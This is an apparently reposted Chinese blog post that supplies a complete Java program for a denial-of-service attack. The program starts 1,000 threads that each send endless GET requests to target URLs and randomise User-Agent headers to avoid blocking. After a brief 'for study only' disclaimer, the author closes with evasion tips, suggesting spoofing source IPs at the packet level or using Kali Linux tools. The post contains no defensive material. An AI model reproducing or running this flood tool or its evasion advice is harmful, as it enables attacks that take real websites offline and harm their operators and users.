大家好,很高兴再次与大家见面,我是你们的朋友全栈君。
拒绝服务攻击(DoS攻击)的具体原理在这里就不再赘述。
我这里展示的是用Java实现的DoS攻击示例代码。不过,我建议大家使用Python来编写这种类型的脚本,因为Python更适合这类任务。以下代码仅供学习参考,请勿用于非法活动。
package dos;import java.net.HttpURLConnection; import java.net.URL; import java.net.URLConnection; import java.util.ArrayList; import java.util.Random; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors;
/**
DoS攻击
立即学习“Java免费学习笔记(深入)”;
@author q
*/ public class Test { /**
- 输入开启的线程数量 */ private static final int MAX_THREAD = 1000;
/**
- 输入你想攻击的网址 */ private static final String URL1 = "https://www.php.cn/link/46235a3abdd04841af13c4d768f13c21"; private static final String URL2 = "https://www.php.cn/link/f4270981241241d67e6251acf2dd3e5f403";
private static ArrayList
userAgentsList; public static void main(String[] args) { userAgentsList = new ArrayList<>(); insertUserAgent(); attack(URL1); attack(URL2); }
/**
- GET请求攻击 */ private static void attack(String url) { ExecutorService ex = Executors.newFixedThreadPool(MAX_THREAD); for (int i = 0; i < MAX_THREAD; i++) { ex.execute(new Thread() { @Override public void run() { while (true) { sendGet(url); } } }); } }
private static void sendGet(String url) { try { URL urlObj = new URL(url); URLConnection connection = urlObj.openConnection(); HttpURLConnection httpURLConnection = (HttpURLConnection) connection; httpURLConnection.setRequestMethod("GET"); httpURLConnection.setRequestProperty("Connection", "keep-alive"); httpURLConnection.setRequestProperty("Cache-Control", "max-age=0"); httpURLConnection.setRequestProperty("Upgrade-Insecure-Requests", "1"); httpURLConnection.setRequestProperty("Accept-Charset", "zh-CN,zh;q=0.9"); httpURLConnection.setRequestProperty("Content-Type", "application/text"); httpURLConnection.setRequestProperty("User-Agent", selectUserAgent()); httpURLConnection.connect(); int code = httpURLConnection.getResponseCode(); if (httpURLConnection.getResponseCode() >= 300) { throw new Exception("请求未成功,响应代码为 " + code); } else { System.out.println("请求成功,响应代码为 " + code); } } catch (Exception e) { // 异常处理 } }
private static String selectUserAgent() { Random random = new Random(); int i = random.nextInt(userAgentsList.size()); return userAgentsList.get(i); }
private static void insertUserAgent() { userAgentsList.add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95"); userAgentsList.add("Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50"); userAgentsList.add("Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10"); userAgentsList.add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7"); userAgentsList.add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71"); userAgentsList.add("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko)"); userAgentsList.add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101"); userAgentsList.add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71"); userAgentsList.add("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)"); userAgentsList.add("Mozilla/5.0 (Linux; U; Android 2.2.1; zh-cn; HTC_Wildfire_A3333 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"); userAgentsList.add("Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10"); userAgentsList.add("Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.0; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/233.70 Safari/534.6 TouchPad/1.0"); userAgentsList.add("Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; HTC; Titan)"); userAgentsList.add("Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5"); userAgentsList.add("AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"); } }
注意事项:
虽然我使用了User-Agent列表来混淆对方,从而在一定程度上避免被封禁,但这并不是伪造源IP的方法。如果对方决心追查你,无论如何你都会被发现。不过,我想到另一种方法,即在数据包层面上修改源IP地址,这样虽然无法接收到回包,但可以达到攻击效果。以后有时间可以尝试一下,或者直接使用Kali Linux中的工具。

如您对本文有任何疑问或想分享您的看法,请点击进行留言回复,广大网友会为您解答!
发布者:全栈程序员栈长,转载请注明出处:https://www.php.cn/link/8ef039111659408c7f4b3d6c4a9d4563 原文链接:https://www.php.cn/link/c8377ad2a50fb65de28b11cfc628d75c











